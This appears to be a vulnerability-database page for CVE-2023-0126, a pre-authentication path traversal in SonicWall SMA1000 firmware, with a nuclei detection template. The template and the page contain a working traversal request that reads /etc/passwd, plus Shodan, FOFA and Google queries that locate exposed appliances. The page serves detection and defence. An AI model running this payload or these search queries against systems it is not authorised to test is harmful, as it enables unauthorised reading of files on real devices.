CVE-2023-0126· sonicwall / sma1000· CWE-22
SonicWall SMA1000 LFI
highseverity
7.5CVSS score
72.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Pre-authentication path traversal vulnerability in SMA1000 firmware version 12.4.2, which allows an unauthenticated attacker to access arbitrary files and directories stored outside the web root directory.
Impact
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the affected device, potentially leading to unauthorized access or information disclosure.
Fix
Apply the latest security patches or firmware updates provided by SonicWall to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/images//////////////////../../../../../../../../etc/passwd
Positive when: contains in header "content/unknown" AND matches /root:[x*]:0:0/ AND status 200Run it with nuclei: nuclei -id CVE-2023-0126 -u <target>
The full check
id: CVE-2023-0126
info:
name: SonicWall SMA1000 LFI
author: tess
severity: high
description: |
Pre-authentication path traversal vulnerability in SMA1000 firmware version 12.4.2, which allows an unauthenticated attacker to access arbitrary files and directories stored outside the web root directory.
impact: |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the affected device, potentially leading to unauthorized access or information disclosure.
remediation: |
Apply the latest security patches or firmware updates provided by SonicWall to mitigate this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-0126
- https://github.com/advisories/GHSA-mr28-27qx-phg3
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0001
- https://github.com/Gerxnox/One-Liner-Collections
- https://github.com/thecybertix/One-Liner-Collections
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-0126
cwe-id: CWE-22
epss-score: 0.72699
epss-percentile: 0.9945
cpe: cpe:2.3:h:sonicwall:sma1000:-:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 1
vendor: sonicwall
product: sma1000
shodan-query: title:"Appliance Management Console Login"
fofa-query: title="appliance management console login"
google-query: intitle:"appliance management console login"
tags: cve2023,cve,sonicwall,lfi,sma1000,vuln
http:
- method: GET
path:
- '{{BaseURL}}/images//////////////////../../../../../../../../etc/passwd'
matchers-condition: and
matchers:
- type: word
part: header
words:
- content/unknown
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2023-0126
- https://github.com/advisories/GHSA-mr28-27qx-phg3
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0001
- https://github.com/Gerxnox/One-Liner-Collections
- https://github.com/thecybertix/One-Liner-Collections
Use this check only on systems you are authorised to test. Where the data comes from